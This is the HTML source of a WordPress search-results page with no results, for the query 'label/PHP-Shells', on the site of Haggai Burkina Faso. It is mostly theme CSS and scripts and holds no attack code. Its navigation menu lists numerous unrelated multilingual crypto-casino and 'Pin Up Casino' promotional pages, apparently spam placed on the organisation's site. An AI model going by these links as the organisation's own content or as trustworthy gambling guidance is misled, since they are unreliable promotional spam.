.eventon_details_shading_bot.eventon_details_shading_bot{z-index:3}.wp-block-divi-layout{margin-bottom:1em}*{-webkit-box-sizing:border-box;box-sizing:border-box}#et-info-email:before,#et-info-phone:before,#et_search_icon:before,.comment-reply-link:after,.et-cart-info span:before,.et-pb-arrow-next:before,.et-pb-arrow-prev:before,.et-social-icon a:before,.et_audio_container .mejs-playpause-button button:before,.et_audio_container .mejs-volume-button button:before,.et_overlay:before,.et_password_protected_form .et_submit_button:after,.et_pb_button:after,.et_pb_contact_reset:after,.et_pb_contact_submit:after,.et_pb_font_icon:before,.et_pb_newsletter_button:after,.et_pb_pricing_table_button:after,.et_pb_promo_button:after,.et_pb_testimonial:before,.et_pb_toggle_title:before,.form-submit .et_pb_button:after,.mobile_menu_bar:before,a.et_pb_more_button:after{font-family:ETmodules!important;speak:none;font-style:normal;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-shadow:0 0;direction:ltr}.et-pb-icon,.et_pb_custom_button_icon.et_pb_button:after,.et_pb_login .et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:hover:after{content:attr(data-icon)}.et-pb-icon{font-family:ETmodules;speak:none;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;font-size:96px;font-style:normal;display:inline-block;-webkit-box-sizing:border-box;box-sizing:border-box;direction:ltr}#et-ajax-saving{display:none;-webkit-transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,box-shadow .3s;transition:background .3s,box-shadow .3s,-webkit-box-shadow .3s;-webkit-box-shadow:rgba(0,139,219,.247059) 0 0 60px;box-shadow:0 0 60px rgba(0,139,219,.247059);position:fixed;top:50%;left:50%;width:50px;height:50px;background:#fff;border-radius:50px;margin:-25px 0 0 -25px;z-index:999999;text-align:center}#et-ajax-saving img{margin:9px}.et-safe-mode-indicator,.et-safe-mode-indicator:focus,.et-safe-mode-indicator:hover{-webkit-box-shadow:0 5px 10px rgba(41,196,169,.15);box-shadow:0 5px 10px rgba(41,196,169,.15);background:#29c4a9;color:#fff;font-size:14px;font-weight:600;padding:12px;line-height:16px;border-radius:3px;position:fixed;bottom:30px;right:30px;z-index:999999;text-decoration:none;font-family:Open Sans,sans-serif;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.et_pb_button{font-size:20px;font-weight:500;padding:.3em 1em;line-height:1.7em!important;background-color:transparent;background-size:cover;background-position:50%;background-repeat:no-repeat;border:2px solid;border-radius:3px;-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:all!important;transition-property:all!important}.et_pb_button,.et_pb_button_inner{position:relative}.et_pb_button:hover,.et_pb_module .et_pb_button:hover{border:2px solid transparent;padding:.3em 2em .3em .7em}.et_pb_button:hover{background-color:hsla(0,0%,100%,.2)}.et_pb_bg_layout_light.et_pb_button:hover,.et_pb_bg_layout_light .et_pb_button:hover{background-color:rgba(0,0,0,.05)}.et_pb_button:after,.et_pb_button:before{font-size:32px;line-height:1em;content:"\35";opacity:0;position:absolute;margin-left:-1em;-webkit-transition:all .2s;transition:all .2s;text-transform:none;-webkit-font-feature-settings:"kern" off;font-feature-settings:"kern" off;font-variant:none;font-style:normal;font-weight:400;text-shadow:none}.et_pb_button.et_hover_enabled:hover:after,.et_pb_button.et_pb_hovered:hover:after{-webkit-transition:none!important;transition:none!important}.et_pb_button:before{display:none}.et_pb_button:hover:after{opacity:1;margin-left:0}.et_pb_column_1_3 h1,.et_pb_column_1_4 h1,.et_pb_column_1_5 h1,.et_pb_column_1_6 h1,.et_pb_column_2_5 h1{font-size:26px}.et_pb_column_1_3 h2,.et_pb_column_1_4 h2,.et_pb_column_1_5 h2,.et_pb_column_1_6 h2,.et_pb_column_2_5 h2{font-size:23px}.et_pb_column_1_3 h3,.et_pb_column_1_4 h3,.et_pb_column_1_5 h3,.et_pb_column_1_6 h3,.et_pb_column_2_5 h3{font-size:20px}.et_pb_column_1_3 h4,.et_pb_column_1_4 h4,.et_pb_column_1_5 h4,.et_pb_column_1_6 h4,.et_pb_column_2_5 h4{font-size:18px}.et_pb_column_1_3 h5,.et_pb_column_1_4 h5,.et_pb_column_1_5 h5,.et_pb_column_1_6 h5,.et_pb_column_2_5 h5{font-size:16px}.et_pb_column_1_3 h6,.et_pb_column_1_4 h6,.et_pb_column_1_5 h6,.et_pb_column_1_6 h6,.et_pb_column_2_5 h6{font-size:15px}.et_pb_bg_layout_dark,.et_pb_bg_layout_dark h1,.et_pb_bg_layout_dark h2,.et_pb_bg_layout_dark h3,.et_pb_bg_layout_dark h4,.et_pb_bg_layout_dark h5,.et_pb_bg_layout_dark h6{color:#fff!important}.et_pb_module.et_pb_text_align_left{text-align:left}.et_pb_module.et_pb_text_align_center{text-align:center}.et_pb_module.et_pb_text_align_right{text-align:right}.et_pb_module.et_pb_text_align_justified{text-align:justify}.clearfix:after{visibility:hidden;display:block;font-size:0;content:" ";clear:both;height:0}.et_pb_bg_layout_light .et_pb_more_button{color:#2ea3f2}.et_builder_inner_content{position:relative;z-index:1}header .et_builder_inner_content{z-index:2}.et_pb_css_mix_blend_mode_passthrough{mix-blend-mode:unset!important}.et_pb_image_container{margin:-20px -20px 29px}.et_pb_module_inner{position:relative}.et_hover_enabled_preview{z-index:2}.et_hover_enabled:hover{position:relative;z-index:2}.et_pb_all_tabs,.et_pb_module,.et_pb_posts_nav a,.et_pb_tab,.et_pb_with_background{position:relative;background-size:cover;background-position:50%;background-repeat:no-repeat}.et_pb_background_mask,.et_pb_background_pattern{bottom:0;left:0;position:absolute;right:0;top:0}.et_pb_background_mask{background-size:calc(100% + 2px) calc(100% + 2px);background-repeat:no-repeat;background-position:50%;overflow:hidden}.et_pb_background_pattern{background-position:0 0;background-repeat:repeat}.et_pb_with_border{position:relative;border:0 solid #333}.post-password-required .et_pb_row{padding:0;width:100%}.post-password-required .et_password_protected_form{min-height:0}body.et_pb_pagebuilder_layout.et_pb_show_title .post-password-required .et_password_protected_form h1,body:not(.et_pb_pagebuilder_layout) .post-password-required .et_password_protected_form h1{display:none}.et_pb_no_bg{padding:0!important}.et_overlay.et_pb_inline_icon:before,.et_pb_inline_icon:before{content:attr(data-icon)}.et_pb_more_button{color:inherit;text-shadow:none;text-decoration:none;display:inline-block;margin-top:20px}.et_parallax_bg_wrap{overflow:hidden;position:absolute;top:0;right:0;bottom:0;left:0}.et_parallax_bg{background-repeat:no-repeat;background-position:top;background-size:cover;position:absolute;bottom:0;left:0;width:100%;height:100%;display:block}.et_parallax_bg.et_parallax_bg__hover,.et_parallax_bg.et_parallax_bg_phone,.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient__hover,.et_parallax_gradient.et_parallax_gradient_phone,.et_parallax_gradient.et_parallax_gradient_tablet,.et_pb_section_parallax_hover:hover .et_parallax_bg:not(.et_parallax_bg__hover),.et_pb_section_parallax_hover:hover .et_parallax_gradient:not(.et_parallax_gradient__hover){display:none}.et_pb_section_parallax_hover:hover .et_parallax_bg.et_parallax_bg__hover,.et_pb_section_parallax_hover:hover .et_parallax_gradient.et_parallax_gradient__hover{display:block}.et_parallax_gradient{bottom:0;display:block;left:0;position:absolute;right:0;top:0}.et_pb_module.et_pb_section_parallax,.et_pb_posts_nav a.et_pb_section_parallax,.et_pb_tab.et_pb_section_parallax{position:relative}.et_pb_section_parallax .et_pb_parallax_css,.et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:fixed}body.et-bfb .et_pb_section_parallax .et_pb_parallax_css,body.et-bfb .et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:scroll;bottom:auto}.et_pb_section_parallax.et_pb_column .et_pb_module,.et_pb_section_parallax.et_pb_row .et_pb_column,.et_pb_section_parallax.et_pb_row .et_pb_module{z-index:9;position:relative}.et_pb_more_button:hover:after{opacity:1;margin-left:0}.et_pb_preload .et_pb_section_video_bg,.et_pb_preload>div{visibility:hidden}.et_pb_preload,.et_pb_section.et_pb_section_video.et_pb_preload{position:relative;background:#464646!important}.et_pb_preload:before{content:"";position:absolute;top:50%;left:50%;background:url(http://haggai-bf.org/wp-content/themes/Divi/includes/builder/styles/images/preloader.gif) no-repeat;border-radius:32px;width:32px;height:32px;margin:-16px 0 0 -16px}.box-shadow-overlay{position:absolute;top:0;left:0;width:100%;height:100%;z-index:10;pointer-events:none}.et_pb_section>.box-shadow-overlay~.et_pb_row{z-index:11}body.safari .section_has_divider{will-change:transform}.et_pb_row>.box-shadow-overlay{z-index:8}.has-box-shadow-overlay{position:relative}.et_clickable{cursor:pointer}.screen-reader-text{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute!important;width:1px;word-wrap:normal!important}.et_multi_view_hidden,.et_multi_view_hidden_image{display:none!important}@keyframes multi-view-image-fade{0%{opacity:0}10%{opacity:.1}20%{opacity:.2}30%{opacity:.3}40%{opacity:.4}50%{opacity:.5}60%{opacity:.6}70%{opacity:.7}80%{opacity:.8}90%{opacity:.9}to{opacity:1}}.et_multi_view_image__loading{visibility:hidden}.et_multi_view_image__loaded{-webkit-animation:multi-view-image-fade .5s;animation:multi-view-image-fade .5s}#et-pb-motion-effects-offset-tracker{visibility:hidden!important;opacity:0;position:absolute;top:0;left:0}.et-pb-before-scroll-animation{opacity:0}header.et-l.et-l--header:after{clear:both;display:block;content:""}.et_pb_module{-webkit-animation-timing-function:linear;animation-timing-function:linear;-webkit-animation-duration:.2s;animation-duration:.2s}@-webkit-keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}.et-waypoint:not(.et_pb_counters){opacity:0}@media (min-width:981px){.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module:last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module:last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}}@media (max-width:980px){.et_overlay.et_pb_inline_icon_tablet:before,.et_pb_inline_icon_tablet:before{content:attr(data-icon-tablet)}.et_parallax_bg.et_parallax_bg_tablet_exist,.et_parallax_gradient.et_parallax_gradient_tablet_exist{display:none}.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient_tablet{display:block}.et_pb_column .et_pb_module{margin-bottom:30px}.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_row .et_pb_column .et_pb_module:last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}.et_pb_more_button{display:inline-block!important}.et_pb_bg_layout_light_tablet.et_pb_button,.et_pb_bg_layout_light_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_light_tablet .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_tablet .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_tablet h1,.et_pb_bg_layout_light_tablet h2,.et_pb_bg_layout_light_tablet h3,.et_pb_bg_layout_light_tablet h4,.et_pb_bg_layout_light_tablet h5,.et_pb_bg_layout_light_tablet h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_tablet.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_tablet{color:#666!important}.et_pb_bg_layout_dark_tablet,.et_pb_bg_layout_dark_tablet h1,.et_pb_bg_layout_dark_tablet h2,.et_pb_bg_layout_dark_tablet h3,.et_pb_bg_layout_dark_tablet h4,.et_pb_bg_layout_dark_tablet h5,.et_pb_bg_layout_dark_tablet h6{color:#fff!important}.et_pb_bg_layout_dark_tablet.et_pb_button,.et_pb_bg_layout_dark_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_tablet .et_pb_more_button{color:inherit}.et_pb_bg_layout_dark_tablet .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-tablet{text-align:left}.et_pb_module.et_pb_text_align_center-tablet{text-align:center}.et_pb_module.et_pb_text_align_right-tablet{text-align:right}.et_pb_module.et_pb_text_align_justified-tablet{text-align:justify}}@media (max-width:767px){.et_pb_more_button{display:inline-block!important}.et_overlay.et_pb_inline_icon_phone:before,.et_pb_inline_icon_phone:before{content:attr(data-icon-phone)}.et_parallax_bg.et_parallax_bg_phone_exist,.et_parallax_gradient.et_parallax_gradient_phone_exist{display:none}.et_parallax_bg.et_parallax_bg_phone,.et_parallax_gradient.et_parallax_gradient_phone{display:block}.et-hide-mobile{display:none!important}.et_pb_bg_layout_light_phone.et_pb_button,.et_pb_bg_layout_light_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_light_phone .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_phone .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_phone h1,.et_pb_bg_layout_light_phone h2,.et_pb_bg_layout_light_phone h3,.et_pb_bg_layout_light_phone h4,.et_pb_bg_layout_light_phone h5,.et_pb_bg_layout_light_phone h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_phone.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_phone{color:#666!important}.et_pb_bg_layout_dark_phone,.et_pb_bg_layout_dark_phone h1,.et_pb_bg_layout_dark_phone h2,.et_pb_bg_layout_dark_phone h3,.et_pb_bg_layout_dark_phone h4,.et_pb_bg_layout_dark_phone h5,.et_pb_bg_layout_dark_phone h6{color:#fff!important}.et_pb_bg_layout_dark_phone.et_pb_button,.et_pb_bg_layout_dark_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_phone .et_pb_more_button{color:inherit}.et_pb_module .et_pb_bg_layout_dark_phone.et_pb_button{color:#fff!important}.et_pb_bg_layout_dark_phone .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-phone{text-align:left}.et_pb_module.et_pb_text_align_center-phone{text-align:center}.et_pb_module.et_pb_text_align_right-phone{text-align:right}.et_pb_module.et_pb_text_align_justified-phone{text-align:justify}}@media (max-width:479px){a.et_pb_more_button{display:block}}@media (min-width:768px) and (max-width:980px){[data-et-multi-view-load-tablet-hidden=true]:not(.et_multi_view_swapped){display:none!important}}@media (max-width:767px){[data-et-multi-view-load-phone-hidden=true]:not(.et_multi_view_swapped){display:none!important}}.et_pb_menu.et_pb_menu--style-inline_centered_logo .et_pb_menu__menu nav ul{-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}@-webkit-keyframes multi-view-image-fade{0%{-webkit-transform:scale(1);transform:scale(1);opacity:1}50%{-webkit-transform:scale(1.01);transform:scale(1.01);opacity:1}to{-webkit-transform:scale(1);transform:scale(1);opacity:1}}
/*# sourceURL=divi-style-parent-inline-inline-css */
</style>
<link rel='stylesheet' id='divi-dynamic-css' href='http://haggai-bf.org/wp-content/et-cache/search/et-divi-dynamic.css?ver=1780281739' media='all' />
<link rel='stylesheet' id='divi-style-css' href='http://haggai-bf.org/wp-content/themes/Divi-child/style.css?ver=4.27.6' media='all' />
<link rel="https://api.w.org/" href="https://haggai-bf.org/wp-json/" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://haggai-bf.org/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 7.0" />
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" /><link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF-150x150.png" sizes="32x32" />
<link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" sizes="192x192" />
<link rel="apple-touch-icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<meta name="msapplication-TileImage" content="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<link rel="stylesheet" id="et-divi-customizer-global-cached-inline-styles" href="http://haggai-bf.org/wp-content/et-cache/global/et-divi-customizer-global.min.css?ver=1780281736" /></head>
<body class="search search-no-results wp-custom-logo wp-theme-Divi wp-child-theme-Divi-child et_pb_button_helper_class et_fixed_nav et_show_nav et_primary_nav_dropdown_animation_fade et_secondary_nav_dropdown_animation_fade et_header_style_left et_pb_footer_columns4 et_cover_background et_pb_gutter et_pb_gutters3 et_right_sidebar et_divi_theme et-db">
	<div id="page-container">

	
	
			<header id="main-header" data-height-onload="66">
			<div class="container clearfix et_menu_container">
							<div class="logo_container">
					<span class="logo_helper"></span>
					<a href="https://haggai-bf.org/">
						<img src="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" width="931" height="742" alt="HAGGAI BURKINA FASO" id="logo" data-height-percentage="54" />
					</a>
				</div>
							<div id="et-top-navigation" data-height="66" data-fixed-height="40">
											<nav id="top-menu-nav">
													<ul id="top-menu" class="nav">
																	<li ><a href="https://haggai-bf.org/">Accueil</a></li>
								
								<li class="page_item page-item-844"><a href="https://haggai-bf.org/bitcoin-jatszani-fiokellenorzes-utmutato/">Bitcoin játszani – fiókellenőrzés útmutató</a></li>
<li class="page_item page-item-840"><a href="https://haggai-bf.org/bitcoin-kasino-v-ceske-republice-kompletni-pruvodce-bonusy-rychle-vybery-a-bezpecnost/">Bitcoin kasino v České republice – kompletní průvodce, bonusy, rychlé výběry a bezpečnost</a></li>
<li class="page_item page-item-838"><a href="https://haggai-bf.org/btc-hrat-aplikace-a-mobilni-pruvodce/">BTC hrát: aplikace a mobilní průvodce</a></li>
<li class="page_item page-item-469"><a href="https://haggai-bf.org/canli-casino-siteleri-2026-en-iyi-ve-guvenilir-casino-listesi/">Canlı Casino Siteleri 2026 &#8211; En İyi ve Güvenilir Casino Listesi</a></li>
<li class="page_item page-item-832"><a href="https://haggai-bf.org/casino-bitcoin-guia-paso-a-paso-para-registrarte-e-iniciar-sesion/">Casino Bitcoin: guía paso a paso para registrarte e iniciar sesión</a></li>
<li class="page_item page-item-847"><a href="https://haggai-bf.org/crypto-casino-europe-review-bonuses-payments-mobile-guide-for-dutch-players/">Crypto Casino Europe Review – Bonuses, Payments &#038; Mobile Guide for Dutch Players</a></li>
<li class="page_item page-item-239"><a href="https://haggai-bf.org/magyar-casino-online-fiokellenorzes-lepesei-praktikus-utmutato/">Magyar casino online fiókellenőrzés lépései – Praktikus útmutató</a></li>
<li class="page_item page-item-41"><a href="https://haggai-bf.org/nous-contacter/">Nous contacter</a></li>
<li class="page_item page-item-828"><a href="https://haggai-bf.org/pin-up-az-rbaycanin-n-yaxsi-kazinosu-r-smi-sayt/">Pin Up &#8211; Azərbaycanın ən yaxşı kazinosu | Rəsmi sayt</a></li>
<li class="page_item page-item-826"><a href="https://haggai-bf.org/pin-up-casino-az-rbaycanda-onlayn-kazino-pin-up/">Pin Up Casino &#8211; Azərbaycanda onlayn kazino Pin-Up</a></li>
<li class="page_item page-item-821"><a href="https://haggai-bf.org/pin-up-casino-onlayn-az-rbaycan/">Pin Up Casino Onlayn Azərbaycan</a></li>
									<li class="cat-item cat-item-11"><a href="https://haggai-bf.org/category/public/">public</a>
</li>
							</ul>
												</nav>
					
					
					
											<div id="et_top_search">
							<span id="et_search_icon"></span>
						</div>
					
					<div id="et_mobile_nav_menu">
				<div class="mobile_nav closed">
					<span class="select_page">Sélectionner une page</span>
					<span class="mobile_menu_bar mobile_menu_bar_toggle"></span>
				</div>
			</div>				</div> <!-- #et-top-navigation -->
			</div> <!-- .container -->
						<div class="et_search_outer">
				<div class="container et_search_form_container">
					<form role="search" method="get" class="et-search-form" action="https://haggai-bf.org/">
					<input type="search" class="et-search-field" placeholder="Rechercher &hellip;" value="label/PHP-Shells" name="s" title="Rechercher:" />					</form>
					<span class="et_close_search_field"></span>
				</div>
			</div>
					</header> <!-- #main-header -->
			<div id="et-main-area">
	
<div id="main-content">
	<div class="container">
		<div id="content-area" class="clearfix">
			<div id="left-area">
		<div class="entry">
	<h1 class="not-found-title">Aucun résultat</h1>
	<p>La page demandée est introuvable. Essayez d&#039;affiner votre recherche ou utilisez le panneau de navigation ci-dessus pour localiser l&#039;article.</p>
</div>
			</div>

					</div>
	</div>
</div>


			<footer id="main-footer">
				

		
				<div id="footer-bottom">
					<div class="container clearfix">
				<ul class="et-social-icons">

	<li class="et-social-icon et-social-facebook">
		<a href="#" class="icon">
			<span>Facebook</span>
		</a>
	</li>
	<li class="et-social-icon et-social-twitter">
		<a href="#" class="icon">
			<span>X</span>
		</a>
	</li>
	<li class="et-social-icon et-social-instagram">
		<a href="#" class="icon">
			<span>Instagram</span>
		</a>
	</li>
	<li class="et-social-icon et-social-rss">
		<a href="https://haggai-bf.org/feed/" class="icon">
			<span>RSS</span>
		</a>
	</li>

</ul><div id="footer-info">Design JRB XSolutions |  (c) 2025 HAGGAI BURKINA FASO</div>					</div>
				</div>
			</footer>
		</div>


	</div>

	<script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/Divi-child/*","/wp-content/themes/Divi/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>
<script id="jquery-core-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery.min.js?ver=3.7.1"></script>
<script id="jquery-migrate-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1"></script>
<script id="jquery-js-after">
jqueryParams.length&&$.each(jqueryParams,function(e,r){if("function"==typeof r){var n=String(r);n.replace("$","jQuery");var a=new Function("return "+n)();$(document).ready(a)}});
//# sourceURL=jquery-js-after
</script>
<script id="divi-custom-script-js-extra">
var DIVI = {"item_count":"%d Item","items_count":"%d Items"};
var et_builder_utils_params = {"condition":{"diviTheme":true,"extraTheme":false},"scrollLocations":["app","top"],"builderScrollLocations":{"desktop":"app","tablet":"app","phone":"app"},"onloadScrollLocation":"app","builderType":"fe"};
var et_frontend_scripts = {"builderCssContainerPrefix":"#et-boc","builderCssLayoutPrefix":"#et-boc .et-l"};
var et_pb_custom = {"ajaxurl":"http://haggai-bf.org/wp-admin/admin-ajax.php","images_uri":"http://haggai-bf.org/wp-content/themes/Divi/images","builder_images_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/images","et_frontend_nonce":"1ba54686f7","subscription_failed":"Veuillez v\u00e9rifier les champs ci-dessous pour vous assurer que vous avez entr\u00e9 les informations correctes.","et_ab_log_nonce":"6e1a125dd2","fill_message":"S'il vous pla\u00eet, remplissez les champs suivants:","contact_error_message":"Veuillez corriger les erreurs suivantes :","invalid":"E-mail non valide","captcha":"Captcha","prev":"Pr\u00e9c\u00e9dent","previous":"Pr\u00e9c\u00e9dente","next":"Prochaine","wrong_captcha":"Vous avez entr\u00e9 le mauvais num\u00e9ro dans le captcha.","wrong_checkbox":"Case \u00e0 cocher","ignore_waypoints":"no","is_divi_theme_used":"1","widget_search_selector":".widget_search","ab_tests":[],"is_ab_testing_active":"","page_id":"","unique_test_id":"","ab_bounce_rate":"","is_cache_plugin_active":"yes","is_shortcode_tracking":"","tinymce_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors","accent_color":"#7EBEC5","waypoints_options":[]};
var et_pb_box_shadow_elements = [];
//# sourceURL=divi-custom-script-js-extra
</script>
<script id="divi-custom-script-js" src="http://haggai-bf.org/wp-content/themes/Divi/js/scripts.min.js?ver=4.27.6"></script>
<script id="fitvids-js" src="http://haggai-bf.org/wp-content/themes/Divi/includes/builder/feature/dynamic-assets/assets/js/jquery.fitvids.js?ver=4.27.6"></script>
<script id="et-core-common-js" src="http://haggai-bf.org/wp-content/themes/Divi/core/admin/js/common.js?ver=4.27.6"></script>
</body>
</html>
